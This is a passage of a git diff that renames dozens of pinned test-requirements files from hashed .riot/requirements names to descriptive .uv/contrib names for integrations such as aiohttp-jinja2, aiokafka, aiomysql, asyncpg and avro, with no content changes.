.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py310-aiohttp-3-7-aiohttp-jinja2-latest-pytest-asyncio-0-23.txt diff --git a/.riot/requirements/121a519.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py310-aiohttp-latest-aiohttp-jinja2-1-5-pytest-asyncio-0-23.txt similarity index 100% rename from .riot/requirements/121a519.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py310-aiohttp-latest-aiohttp-jinja2-1-5-pytest-asyncio-0-23.txt diff --git a/.riot/requirements/15cc9b9.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py310-aiohttp-latest-aiohttp-jinja2-latest-pytest-asyncio-0-23.txt similarity index 100% rename from .riot/requirements/15cc9b9.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py310-aiohttp-latest-aiohttp-jinja2-latest-pytest-asyncio-0-23.txt diff --git a/.riot/requirements/1212ab8.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py311-aiohttp-3-7-aiohttp-jinja2-1-5-pytest-asyncio-0-23.txt similarity index 100% rename from .riot/requirements/1212ab8.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py311-aiohttp-3-7-aiohttp-jinja2-1-5-pytest-asyncio-0-23.txt diff --git a/.riot/requirements/1cd7351.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py311-aiohttp-3-7-aiohttp-jinja2-latest-pytest-asyncio-0-23.txt similarity index 100% rename from .riot/requirements/1cd7351.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py311-aiohttp-3-7-aiohttp-jinja2-latest-pytest-asyncio-0-23.txt diff --git a/.riot/requirements/15e76f9.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py311-aiohttp-latest-aiohttp-jinja2-1-5-pytest-asyncio-0-23.txt similarity index 100% rename from .riot/requirements/15e76f9.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py311-aiohttp-latest-aiohttp-jinja2-1-5-pytest-asyncio-0-23.txt diff --git a/.riot/requirements/1ab2cd6.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py311-aiohttp-latest-aiohttp-jinja2-latest-pytest-asyncio-0-23.txt similarity index 100% rename from .riot/requirements/1ab2cd6.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py311-aiohttp-latest-aiohttp-jinja2-latest-pytest-asyncio-0-23.txt diff --git a/.riot/requirements/becad20.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py312-aiohttp-3-7-aiohttp-jinja2-1-5-pytest-asyncio-0-23.txt similarity index 100% rename from .riot/requirements/becad20.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py312-aiohttp-3-7-aiohttp-jinja2-1-5-pytest-asyncio-0-23.txt diff --git a/.riot/requirements/1f08b51.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py312-aiohttp-3-7-aiohttp-jinja2-latest-pytest-asyncio-0-23.txt similarity index 100% rename from .riot/requirements/1f08b51.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py312-aiohttp-3-7-aiohttp-jinja2-latest-pytest-asyncio-0-23.txt diff --git a/.riot/requirements/18fce4a.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py312-aiohttp-latest-aiohttp-jinja2-1-5-pytest-asyncio-0-23.txt similarity index 100% rename from .riot/requirements/18fce4a.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py312-aiohttp-latest-aiohttp-jinja2-1-5-pytest-asyncio-0-23.txt diff --git a/.riot/requirements/4920d3f.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py312-aiohttp-latest-aiohttp-jinja2-latest-pytest-asyncio-0-23.txt similarity index 100% rename from .riot/requirements/4920d3f.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py312-aiohttp-latest-aiohttp-jinja2-latest-pytest-asyncio-0-23.txt diff --git a/.riot/requirements/153b471.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py313-aiohttp-3-7-aiohttp-jinja2-1-5-pytest-asyncio-latest.txt similarity index 100% rename from .riot/requirements/153b471.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py313-aiohttp-3-7-aiohttp-jinja2-1-5-pytest-asyncio-latest.txt diff --git a/.riot/requirements/1dc5917.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py313-aiohttp-3-7-aiohttp-jinja2-latest-pytest-asyncio-latest.txt similarity index 100% rename from .riot/requirements/1dc5917.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py313-aiohttp-3-7-aiohttp-jinja2-latest-pytest-asyncio-latest.txt diff --git a/.riot/requirements/1e35304.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py313-aiohttp-latest-aiohttp-jinja2-1-5-pytest-asyncio-latest.txt similarity index 100% rename from .riot/requirements/1e35304.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py313-aiohttp-latest-aiohttp-jinja2-1-5-pytest-asyncio-latest.txt diff --git a/.riot/requirements/1d36df8.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py313-aiohttp-latest-aiohttp-jinja2-latest-pytest-asyncio-latest.txt similarity index 100% rename from .riot/requirements/1d36df8.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py313-aiohttp-latest-aiohttp-jinja2-latest-pytest-asyncio-latest.txt diff --git a/.riot/requirements/14cbe98.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py314-aiohttp-3-7-aiohttp-jinja2-1-5-pytest-asyncio-latest.txt similarity index 100% rename from .riot/requirements/14cbe98.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py314-aiohttp-3-7-aiohttp-jinja2-1-5-pytest-asyncio-latest.txt diff --git a/.riot/requirements/1c60274.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py314-aiohttp-3-7-aiohttp-jinja2-latest-pytest-asyncio-latest.txt similarity index 100% rename from .riot/requirements/1c60274.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py314-aiohttp-3-7-aiohttp-jinja2-latest-pytest-asyncio-latest.txt diff --git a/.riot/requirements/1d71e80.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py314-aiohttp-latest-aiohttp-jinja2-1-5-pytest-asyncio-latest.txt similarity index 100% rename from .riot/requirements/1d71e80.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py314-aiohttp-latest-aiohttp-jinja2-1-5-pytest-asyncio-latest.txt diff --git a/.riot/requirements/de38314.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py314-aiohttp-latest-aiohttp-jinja2-latest-pytest-asyncio-latest.txt similarity index 100% rename from .riot/requirements/de38314.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py314-aiohttp-latest-aiohttp-jinja2-latest-pytest-asyncio-latest.txt diff --git a/.riot/requirements/c18a3b5.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py39-aiohttp-3-7-aiohttp-jinja2-1-5-pytest-asyncio-0-23.txt similarity index 100% rename from .riot/requirements/c18a3b5.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py39-aiohttp-3-7-aiohttp-jinja2-1-5-pytest-asyncio-0-23.txt diff --git a/.riot/requirements/b5fb73e.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py39-aiohttp-3-7-aiohttp-jinja2-latest-pytest-asyncio-0-23.txt similarity index 100% rename from .riot/requirements/b5fb73e.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py39-aiohttp-3-7-aiohttp-jinja2-latest-pytest-asyncio-0-23.txt diff --git a/.riot/requirements/1a22dee.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py39-aiohttp-latest-aiohttp-jinja2-1-5-pytest-asyncio-0-23.txt similarity index 100% rename from .riot/requirements/1a22dee.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py39-aiohttp-latest-aiohttp-jinja2-1-5-pytest-asyncio-0-23.txt diff --git a/.riot/requirements/a41adfe.txt b/.uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py39-aiohttp-latest-aiohttp-jinja2-latest-pytest-asyncio-0-23.txt similarity index 100% rename from .riot/requirements/a41adfe.txt rename to .uv/contrib-aiohttp-jinja2--aiohttp-jinja2-py39-aiohttp-latest-aiohttp-jinja2-latest-pytest-asyncio-0-23.txt diff --git a/.riot/requirements/c6f2827.txt b/.uv/contrib-aiokafka--aiokafka-py310-aiokafka-0-9-0.txt similarity index 100% rename from .riot/requirements/c6f2827.txt rename to .uv/contrib-aiokafka--aiokafka-py310-aiokafka-0-9-0.txt diff --git a/.riot/requirements/fbe6b3d.txt b/.uv/contrib-aiokafka--aiokafka-py310-aiokafka-latest.txt similarity index 100% rename from .riot/requirements/fbe6b3d.txt rename to .uv/contrib-aiokafka--aiokafka-py310-aiokafka-latest.txt diff --git a/.riot/requirements/fbd9c5b.txt b/.uv/contrib-aiokafka--aiokafka-py311-aiokafka-0-9-0.txt similarity index 100% rename from .riot/requirements/fbd9c5b.txt rename to .uv/contrib-aiokafka--aiokafka-py311-aiokafka-0-9-0.txt diff --git a/.riot/requirements/4532043.txt b/.uv/contrib-aiokafka--aiokafka-py311-aiokafka-latest.txt similarity index 100% rename from .riot/requirements/4532043.txt rename to .uv/contrib-aiokafka--aiokafka-py311-aiokafka-latest.txt diff --git a/.riot/requirements/329b0ed.txt b/.uv/contrib-aiokafka--aiokafka-py312-aiokafka-0-9-0.txt similarity index 100% rename from .riot/requirements/329b0ed.txt rename to .uv/contrib-aiokafka--aiokafka-py312-aiokafka-0-9-0.txt diff --git a/.riot/requirements/e580d94.txt b/.uv/contrib-aiokafka--aiokafka-py312-aiokafka-latest.txt similarity index 100% rename from .riot/requirements/e580d94.txt rename to .uv/contrib-aiokafka--aiokafka-py312-aiokafka-latest.txt diff --git a/.riot/requirements/13e0d21.txt b/.uv/contrib-aiokafka--aiokafka-py313-aiokafka-0-9-0.txt similarity index 100% rename from .riot/requirements/13e0d21.txt rename to .uv/contrib-aiokafka--aiokafka-py313-aiokafka-0-9-0.txt diff --git a/.riot/requirements/1c72bfb.txt b/.uv/contrib-aiokafka--aiokafka-py313-aiokafka-latest.txt similarity index 100% rename from .riot/requirements/1c72bfb.txt rename to .uv/contrib-aiokafka--aiokafka-py313-aiokafka-latest.txt diff --git a/.riot/requirements/1ded764.txt b/.uv/contrib-aiokafka--aiokafka-py314-aiokafka-0-9-0.txt similarity index 100% rename from .riot/requirements/1ded764.txt rename to .uv/contrib-aiokafka--aiokafka-py314-aiokafka-0-9-0.txt diff --git a/.riot/requirements/fe1d595.txt b/.uv/contrib-aiokafka--aiokafka-py314-aiokafka-latest.txt similarity index 100% rename from .riot/requirements/fe1d595.txt rename to .uv/contrib-aiokafka--aiokafka-py314-aiokafka-latest.txt diff --git a/.riot/requirements/538f024.txt b/.uv/contrib-aiokafka--aiokafka-py39-aiokafka-0-9-0.txt similarity index 100% rename from .riot/requirements/538f024.txt rename to .uv/contrib-aiokafka--aiokafka-py39-aiokafka-0-9-0.txt diff --git a/.riot/requirements/65c09d3.txt b/.uv/contrib-aiokafka--aiokafka-py39-aiokafka-latest.txt similarity index 100% rename from .riot/requirements/65c09d3.txt rename to .uv/contrib-aiokafka--aiokafka-py39-aiokafka-latest.txt diff --git a/.riot/requirements/1d7cb11.txt b/.uv/contrib-aiomysql--aiomysql-py310-aiomysql-0-1-0-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/1d7cb11.txt rename to .uv/contrib-aiomysql--aiomysql-py310-aiomysql-0-1-0-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/12dca17.txt b/.uv/contrib-aiomysql--aiomysql-py310-aiomysql-latest-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/12dca17.txt rename to .uv/contrib-aiomysql--aiomysql-py310-aiomysql-latest-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/1cd0e13.txt b/.uv/contrib-aiomysql--aiomysql-py311-aiomysql-0-1-0-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/1cd0e13.txt rename to .uv/contrib-aiomysql--aiomysql-py311-aiomysql-0-1-0-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/d712663.txt b/.uv/contrib-aiomysql--aiomysql-py311-aiomysql-latest-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/d712663.txt rename to .uv/contrib-aiomysql--aiomysql-py311-aiomysql-latest-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/17d96ef.txt b/.uv/contrib-aiomysql--aiomysql-py312-aiomysql-0-1-0-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/17d96ef.txt rename to .uv/contrib-aiomysql--aiomysql-py312-aiomysql-0-1-0-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/deec456.txt b/.uv/contrib-aiomysql--aiomysql-py312-aiomysql-latest-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/deec456.txt rename to .uv/contrib-aiomysql--aiomysql-py312-aiomysql-latest-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/1a67f8a.txt b/.uv/contrib-aiomysql--aiomysql-py313-aiomysql-0-1-0-pytest-asyncio-latest.txt similarity index 100% rename from .riot/requirements/1a67f8a.txt rename to .uv/contrib-aiomysql--aiomysql-py313-aiomysql-0-1-0-pytest-asyncio-latest.txt diff --git a/.riot/requirements/672002e.txt b/.uv/contrib-aiomysql--aiomysql-py313-aiomysql-latest-pytest-asyncio-latest.txt similarity index 100% rename from .riot/requirements/672002e.txt rename to .uv/contrib-aiomysql--aiomysql-py313-aiomysql-latest-pytest-asyncio-latest.txt diff --git a/.riot/requirements/187d6f8.txt b/.uv/contrib-aiomysql--aiomysql-py314-aiomysql-0-1-0-pytest-asyncio-latest.txt similarity index 100% rename from .riot/requirements/187d6f8.txt rename to .uv/contrib-aiomysql--aiomysql-py314-aiomysql-0-1-0-pytest-asyncio-latest.txt diff --git a/.riot/requirements/1703ea4.txt b/.uv/contrib-aiomysql--aiomysql-py314-aiomysql-latest-pytest-asyncio-latest.txt similarity index 100% rename from .riot/requirements/1703ea4.txt rename to .uv/contrib-aiomysql--aiomysql-py314-aiomysql-latest-pytest-asyncio-latest.txt diff --git a/.riot/requirements/35c454e.txt b/.uv/contrib-aiomysql--aiomysql-py39-aiomysql-0-1-0-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/35c454e.txt rename to .uv/contrib-aiomysql--aiomysql-py39-aiomysql-0-1-0-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/610527e.txt b/.uv/contrib-aiomysql--aiomysql-py39-aiomysql-latest-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/610527e.txt rename to .uv/contrib-aiomysql--aiomysql-py39-aiomysql-latest-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/1591c59.txt b/.uv/contrib-aiopg--aiopg-py310-aiopg-1-0-aiopg.txt similarity index 100% rename from .riot/requirements/1591c59.txt rename to .uv/contrib-aiopg--aiopg-py310-aiopg-1-0-aiopg.txt diff --git a/.riot/requirements/c6373ab.txt b/.uv/contrib-aiopg--aiopg-py310-aiopg-1-4-0-aiopg.txt similarity index 100% rename from .riot/requirements/c6373ab.txt rename to .uv/contrib-aiopg--aiopg-py310-aiopg-1-4-0-aiopg.txt diff --git a/.riot/requirements/115595c.txt b/.uv/contrib-aiopg--aiopg-py311-aiopg-1-0-aiopg.txt similarity index 100% rename from .riot/requirements/115595c.txt rename to .uv/contrib-aiopg--aiopg-py311-aiopg-1-0-aiopg.txt diff --git a/.riot/requirements/c894f67.txt b/.uv/contrib-aiopg--aiopg-py311-aiopg-1-4-0-aiopg.txt similarity index 100% rename from .riot/requirements/c894f67.txt rename to .uv/contrib-aiopg--aiopg-py311-aiopg-1-4-0-aiopg.txt diff --git a/.riot/requirements/1d52546.txt b/.uv/contrib-aiopg--aiopg-py312-aiopg-1-0-aiopg.txt similarity index 100% rename from .riot/requirements/1d52546.txt rename to .uv/contrib-aiopg--aiopg-py312-aiopg-1-0-aiopg.txt diff --git a/.riot/requirements/1e5b975.txt b/.uv/contrib-aiopg--aiopg-py312-aiopg-1-4-0-aiopg.txt similarity index 100% rename from .riot/requirements/1e5b975.txt rename to .uv/contrib-aiopg--aiopg-py312-aiopg-1-4-0-aiopg.txt diff --git a/.riot/requirements/1290c29.txt b/.uv/contrib-aiopg--aiopg-py313-aiopg-1-0-aiopg.txt similarity index 100% rename from .riot/requirements/1290c29.txt rename to .uv/contrib-aiopg--aiopg-py313-aiopg-1-0-aiopg.txt diff --git a/.riot/requirements/62dfd2d.txt b/.uv/contrib-aiopg--aiopg-py313-aiopg-1-4-0-aiopg.txt similarity index 100% rename from .riot/requirements/62dfd2d.txt rename to .uv/contrib-aiopg--aiopg-py313-aiopg-1-4-0-aiopg.txt diff --git a/.riot/requirements/eb6e579.txt b/.uv/contrib-aiopg--aiopg-py314-aiopg-1-0-aiopg.txt similarity index 100% rename from .riot/requirements/eb6e579.txt rename to .uv/contrib-aiopg--aiopg-py314-aiopg-1-0-aiopg.txt diff --git a/.riot/requirements/5d2e301.txt b/.uv/contrib-aiopg--aiopg-py314-aiopg-1-4-0-aiopg.txt similarity index 100% rename from .riot/requirements/5d2e301.txt rename to .uv/contrib-aiopg--aiopg-py314-aiopg-1-4-0-aiopg.txt diff --git a/.riot/requirements/d625448.txt b/.uv/contrib-aiopg--aiopg-py39-aiopg-0-16-0.txt similarity index 100% rename from .riot/requirements/d625448.txt rename to .uv/contrib-aiopg--aiopg-py39-aiopg-0-16-0.txt diff --git a/.riot/requirements/1c86789.txt b/.uv/contrib-aiopg--aiopg-py39-aiopg-1-0-aiopg.txt similarity index 100% rename from .riot/requirements/1c86789.txt rename to .uv/contrib-aiopg--aiopg-py39-aiopg-1-0-aiopg.txt diff --git a/.riot/requirements/1a42ba9.txt b/.uv/contrib-aiopg--aiopg-py39-aiopg-1-4-0-aiopg.txt similarity index 100% rename from .riot/requirements/1a42ba9.txt rename to .uv/contrib-aiopg--aiopg-py39-aiopg-1-4-0-aiopg.txt diff --git a/.riot/requirements/1ccf91d.txt b/.uv/contrib-algoliasearch--algoliasearch-py310.txt similarity index 100% rename from .riot/requirements/1ccf91d.txt rename to .uv/contrib-algoliasearch--algoliasearch-py310.txt diff --git a/.riot/requirements/404933a.txt b/.uv/contrib-algoliasearch--algoliasearch-py311.txt similarity index 100% rename from .riot/requirements/404933a.txt rename to .uv/contrib-algoliasearch--algoliasearch-py311.txt diff --git a/.riot/requirements/e1220d6.txt b/.uv/contrib-algoliasearch--algoliasearch-py312.txt similarity index 100% rename from .riot/requirements/e1220d6.txt rename to .uv/contrib-algoliasearch--algoliasearch-py312.txt diff --git a/.riot/requirements/14be2f6.txt b/.uv/contrib-algoliasearch--algoliasearch-py313.txt similarity index 100% rename from .riot/requirements/14be2f6.txt rename to .uv/contrib-algoliasearch--algoliasearch-py313.txt diff --git a/.riot/requirements/14305cf.txt b/.uv/contrib-algoliasearch--algoliasearch-py314.txt similarity index 100% rename from .riot/requirements/14305cf.txt rename to .uv/contrib-algoliasearch--algoliasearch-py314.txt diff --git a/.riot/requirements/cc2f3f8.txt b/.uv/contrib-algoliasearch--algoliasearch-py39.txt similarity index 100% rename from .riot/requirements/cc2f3f8.txt rename to .uv/contrib-algoliasearch--algoliasearch-py39.txt diff --git a/.riot/requirements/a54b2db.txt b/.uv/contrib-aredis--aredis-py39.txt similarity index 100% rename from .riot/requirements/a54b2db.txt rename to .uv/contrib-aredis--aredis-py39.txt diff --git a/.riot/requirements/4a79851.txt b/.uv/contrib-asgi--asgi-py310-asgiref-3-0-0.txt similarity index 100% rename from .riot/requirements/4a79851.txt rename to .uv/contrib-asgi--asgi-py310-asgiref-3-0-0.txt diff --git a/.riot/requirements/4864b91.txt b/.uv/contrib-asgi--asgi-py310-asgiref-3-0.txt similarity index 100% rename from .riot/requirements/4864b91.txt rename to .uv/contrib-asgi--asgi-py310-asgiref-3-0.txt diff --git a/.riot/requirements/1e5b079.txt b/.uv/contrib-asgi--asgi-py310-asgiref-latest.txt similarity index 100% rename from .riot/requirements/1e5b079.txt rename to .uv/contrib-asgi--asgi-py310-asgiref-latest.txt diff --git a/.riot/requirements/1e126f8.txt b/.uv/contrib-asgi--asgi-py311-asgiref-3-0-0.txt similarity index 100% rename from .riot/requirements/1e126f8.txt rename to .uv/contrib-asgi--asgi-py311-asgiref-3-0-0.txt diff --git a/.riot/requirements/57d003f.txt b/.uv/contrib-asgi--asgi-py311-asgiref-3-0.txt similarity index 100% rename from .riot/requirements/57d003f.txt rename to .uv/contrib-asgi--asgi-py311-asgiref-3-0.txt diff --git a/.riot/requirements/bade9f1.txt b/.uv/contrib-asgi--asgi-py311-asgiref-latest.txt similarity index 100% rename from .riot/requirements/bade9f1.txt rename to .uv/contrib-asgi--asgi-py311-asgiref-latest.txt diff --git a/.riot/requirements/a2c65bc.txt b/.uv/contrib-asgi--asgi-py312-asgiref-3-0-0.txt similarity index 100% rename from .riot/requirements/a2c65bc.txt rename to .uv/contrib-asgi--asgi-py312-asgiref-3-0-0.txt diff --git a/.riot/requirements/10d379e.txt b/.uv/contrib-asgi--asgi-py312-asgiref-3-0.txt similarity index 100% rename from .riot/requirements/10d379e.txt rename to .uv/contrib-asgi--asgi-py312-asgiref-3-0.txt diff --git a/.riot/requirements/b6d51fd.txt b/.uv/contrib-asgi--asgi-py312-asgiref-latest.txt similarity index 100% rename from .riot/requirements/b6d51fd.txt rename to .uv/contrib-asgi--asgi-py312-asgiref-latest.txt diff --git a/.riot/requirements/7eec131.txt b/.uv/contrib-asgi--asgi-py313-asgiref-3-0-0.txt similarity index 100% rename from .riot/requirements/7eec131.txt rename to .uv/contrib-asgi--asgi-py313-asgiref-3-0-0.txt diff --git a/.riot/requirements/166d447.txt b/.uv/contrib-asgi--asgi-py313-asgiref-3-0.txt similarity index 100% rename from .riot/requirements/166d447.txt rename to .uv/contrib-asgi--asgi-py313-asgiref-3-0.txt diff --git a/.riot/requirements/fc7a41b.txt b/.uv/contrib-asgi--asgi-py313-asgiref-latest.txt similarity index 100% rename from .riot/requirements/fc7a41b.txt rename to .uv/contrib-asgi--asgi-py313-asgiref-latest.txt diff --git a/.riot/requirements/5b628de.txt b/.uv/contrib-asgi--asgi-py314-asgiref-3-0-0.txt similarity index 100% rename from .riot/requirements/5b628de.txt rename to .uv/contrib-asgi--asgi-py314-asgiref-3-0-0.txt diff --git a/.riot/requirements/1361e46.txt b/.uv/contrib-asgi--asgi-py314-asgiref-3-0.txt similarity index 100% rename from .riot/requirements/1361e46.txt rename to .uv/contrib-asgi--asgi-py314-asgiref-3-0.txt diff --git a/.riot/requirements/19aa242.txt b/.uv/contrib-asgi--asgi-py314-asgiref-latest.txt similarity index 100% rename from .riot/requirements/19aa242.txt rename to .uv/contrib-asgi--asgi-py314-asgiref-latest.txt diff --git a/.riot/requirements/7e2d120.txt b/.uv/contrib-asgi--asgi-py39-asgiref-3-0-0.txt similarity index 100% rename from .riot/requirements/7e2d120.txt rename to .uv/contrib-asgi--asgi-py39-asgiref-3-0-0.txt diff --git a/.riot/requirements/1f4e01a.txt b/.uv/contrib-asgi--asgi-py39-asgiref-3-0.txt similarity index 100% rename from .riot/requirements/1f4e01a.txt rename to .uv/contrib-asgi--asgi-py39-asgiref-3-0.txt diff --git a/.riot/requirements/6a14d43.txt b/.uv/contrib-asgi--asgi-py39-asgiref-latest.txt similarity index 100% rename from .riot/requirements/6a14d43.txt rename to .uv/contrib-asgi--asgi-py39-asgiref-latest.txt diff --git a/.riot/requirements/aaf6987.txt b/.uv/contrib-asyncpg--asyncpg-py310-asyncpg-0-24-0-asyncpg-2.txt similarity index 100% rename from .riot/requirements/aaf6987.txt rename to .uv/contrib-asyncpg--asyncpg-py310-asyncpg-0-24-0-asyncpg-2.txt diff --git a/.riot/requirements/bc5cfa5.txt b/.uv/contrib-asyncpg--asyncpg-py310-asyncpg-latest-asyncpg-2.txt similarity index 100% rename from .riot/requirements/bc5cfa5.txt rename to .uv/contrib-asyncpg--asyncpg-py310-asyncpg-latest-asyncpg-2.txt diff --git a/.riot/requirements/b970d9a.txt b/.uv/contrib-asyncpg--asyncpg-py311-asyncpg-0-27-asyncpg-3.txt similarity index 100% rename from .riot/requirements/b970d9a.txt rename to .uv/contrib-asyncpg--asyncpg-py311-asyncpg-0-27-asyncpg-3.txt diff --git a/.riot/requirements/4c87f15.txt b/.uv/contrib-asyncpg--asyncpg-py311-asyncpg-latest-asyncpg-3.txt similarity index 100% rename from .riot/requirements/4c87f15.txt rename to .uv/contrib-asyncpg--asyncpg-py311-asyncpg-latest-asyncpg-3.txt diff --git a/.riot/requirements/fa9267f.txt b/.uv/contrib-asyncpg--asyncpg-py312-asyncpg-latest.txt similarity index 100% rename from .riot/requirements/fa9267f.txt rename to .uv/contrib-asyncpg--asyncpg-py312-asyncpg-latest.txt diff --git a/.riot/requirements/1d6049b.txt b/.uv/contrib-asyncpg--asyncpg-py313-asyncpg-latest.txt similarity index 100% rename from .riot/requirements/1d6049b.txt rename to .uv/contrib-asyncpg--asyncpg-py313-asyncpg-latest.txt diff --git a/.riot/requirements/142fb86.txt b/.uv/contrib-asyncpg--asyncpg-py314-asyncpg-latest.txt similarity index 100% rename from .riot/requirements/142fb86.txt rename to .uv/contrib-asyncpg--asyncpg-py314-asyncpg-latest.txt diff --git a/.riot/requirements/6ebd15f.txt b/.uv/contrib-asyncpg--asyncpg-py39-asyncpg-0-23-0-asyncpg.txt similarity index 100% rename from .riot/requirements/6ebd15f.txt rename to .uv/contrib-asyncpg--asyncpg-py39-asyncpg-0-23-0-asyncpg.txt diff --git a/.riot/requirements/12594bd.txt b/.uv/contrib-asyncpg--asyncpg-py39-asyncpg-latest-asyncpg.txt similarity index 100% rename from .riot/requirements/12594bd.txt rename to .uv/contrib-asyncpg--asyncpg-py39-asyncpg-latest-asyncpg.txt diff --git a/.riot/requirements/182dc13.txt b/.uv/contrib-asynctest--asynctest-py39.txt similarity index 100% rename from .riot/requirements/182dc13.txt rename to .uv/contrib-asynctest--asynctest-py39.txt diff --git a/.riot/requirements/1daf82a.txt b/.uv/contrib-avro--avro-py310.txt similarity index 100% rename from .riot/requirements/1daf82a.txt rename to .uv/contrib-avro--avro-py310.txt diff --git a/.riot/requirements/1260019.txt b/.uv/contrib-avro--avro-py311.txt similarity index 100% rename from .riot/requirements/1260019.txt rename to .uv/contrib-avro--avro-py311.txt diff --git a/.riot/requirements/16250bb.txt b/.uv/contrib-avro--avro-py312.txt similarity index 100% rename from .riot/requirements/16250bb.txt rename to .uv/contrib-avro--avro-py312.txt diff --git a/.riot/requirements/1e2c1f1.txt b/.uv/contrib-avro--avro-py313.txt similarity index 100% rename from .riot/requirements/1e2c1f1.txt rename to .uv/contrib-avro--avro-py313.txt diff --git a/.riot/requirements/1d2ff18.txt b/.uv/contrib-avro--avro-py314.txt similarity index 100% rename from .riot/requirements/1d2ff18.txt rename to .uv/contrib-avro--avro-py314.txt diff --git a/.riot/requirements/18f95e2.txt b/.uv/contrib-avro--avro-py39.txt similarity index 100% rename from .riot/requirements/18f95e2.txt rename to .uv/contrib-avro--avro-py39.txt diff --git a/.riot/requirements/dd174aa.txt b/.uv/contrib-aws-durable-execution-sdk-python--aws-durable-execution-sdk-python-py311-aws-durable-execution-sdk-python-1-4-0.txt similarity index 100% rename from .riot/requirements/dd174aa.txt rename to .uv/contrib-aws-durable-execution-sdk-python--aws-durable-execution-sdk-python-py311-aws-durable-execution-sdk-python-1-4-0.txt diff --git a/.riot/requirements/1faca2f.txt b/.uv/contrib-aws-durable-execution-sdk-python--aws-durable-execution-sdk-python-py311-aws-durable-execution-sdk-python-latest.txt similarity index 100% rename from .riot/requirements/1faca2f.txt rename to .uv/contrib-aws-durable-execution-sdk-python--aws-durable-execution-sdk-python-py311-aws-durable-execution-sdk-python-latest.txt diff --git a/.riot/requirements/1c77c0e.txt b/.uv/contrib-aws-durable-execution-sdk-python--aws-durable-execution-sdk-python-py312-aws-durable-execution-sdk-python-1-4-0.txt similarity index 100% rename from .riot/requirements/1c77c0e.txt rename to .uv/contrib-aws-durable-execution-sdk-python--aws-durable-execution-sdk-python-py312-aws-durable-execution-sdk-python-1-4-0.txt diff --git a/.riot/requirements/1fed53f.txt b/.uv/contrib-aws-durable-execution-sdk-python--aws-durable-execution-sdk-python-py312-aws-durable-execution-sdk-python-latest.txt similarity index 100% rename from .riot/requirements/1fed53f.txt rename to .uv/contrib-aws-durable-execution-sdk-python--aws-durable-execution-sdk-python-py312-aws-durable-execution-sdk-python-latest.txt diff --git a/.riot/requirements/4edb741.txt b/.uv/contrib-aws-durable-execution-sdk-python--aws-durable-execution-sdk-python-py313-aws-durable-execution-sdk-python-1-4-0.txt similarity index 100% rename from .riot/requirements/4edb741.txt rename to .uv/contrib-aws-durable-execution-sdk-python--aws-durable-execution-sdk-python-py313-aws-durable-execution-sdk-python-1-4-0.txt diff --git a/.riot/requirements/ba6302f.txt b/.uv/contrib-aws-durable-execution-sdk-python--aws-durable-execution-sdk-python-py313-aws-durable-execution-sdk-python-latest.txt similarity index 100% rename from .riot/requirements/ba6302f.txt rename to 